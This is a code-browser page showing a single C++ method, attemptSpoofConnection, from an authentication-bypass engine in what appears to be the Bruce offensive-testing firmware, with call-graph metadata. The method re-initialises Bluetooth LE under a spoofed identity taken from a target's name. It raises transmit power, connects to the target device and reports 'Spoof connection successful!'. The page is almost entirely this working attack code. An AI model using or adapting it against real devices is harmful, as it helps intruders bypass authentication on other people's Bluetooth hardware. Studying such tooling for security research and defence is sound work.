MCPcopy Create free account
hub / github.com/BruceDevices/firmware / attemptSpoofConnection

Method attemptSpoofConnection

src/modules/ble/BLE_Suite.cpp:2088–2121  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

2086}
2087
2088bool AuthBypassEngine::attemptSpoofConnection(NimBLEAddress target, const String &targetName) {
2089 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });
2090
2091 String spoofAddress = getSpoofAddress(targetName);
2092 showAttackProgress(String("Spoofing as: " + spoofAddress).c_str(), TFT_CYAN);
2093
2094 BLEStateManager::deinitBLE(true);
2095 delay(500);
2096 std::string spoofAddrStr = spoofAddress.c_str();
2097 NimBLEDevice::init(spoofAddrStr);
2098 NimBLEDevice::setPower(ESP_PWR_LVL_P9);
2099 NimBLEDevice::setSecurityAuth(true, true, true);
2100
2101 NimBLEClient *pClient = NimBLEDevice::createClient();
2102 if (!pClient) return false;
2103
2104 BLEStateManager::registerClient(pClient);
2105
2106 pClient->setConnectTimeout(8);
2107 pClient->setConnectionParams(12, 12, 0, 400);
2108 bool connected = pClient->connect(target, true);
2109
2110 if (connected) {
2111 showAttackProgress("Spoof connection successful!", TFT_GREEN);
2112 pClient->disconnect();
2113 BLEStateManager::unregisterClient(pClient);
2114 NimBLEDevice::deleteClient(pClient);
2115 cleanup.disable();
2116 return true;
2117 }
2118 BLEStateManager::unregisterClient(pClient);
2119 NimBLEDevice::deleteClient(pClient);
2120 return false;
2121}
2122
2123bool AuthBypassEngine::forceRepairing(NimBLEAddress target) {
2124 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });

Callers

nothing calls this directly

Calls 4

showAttackProgressFunction · 0.85
initFunction · 0.85
disableMethod · 0.80
connectMethod · 0.45

Tested by

no test coverage detected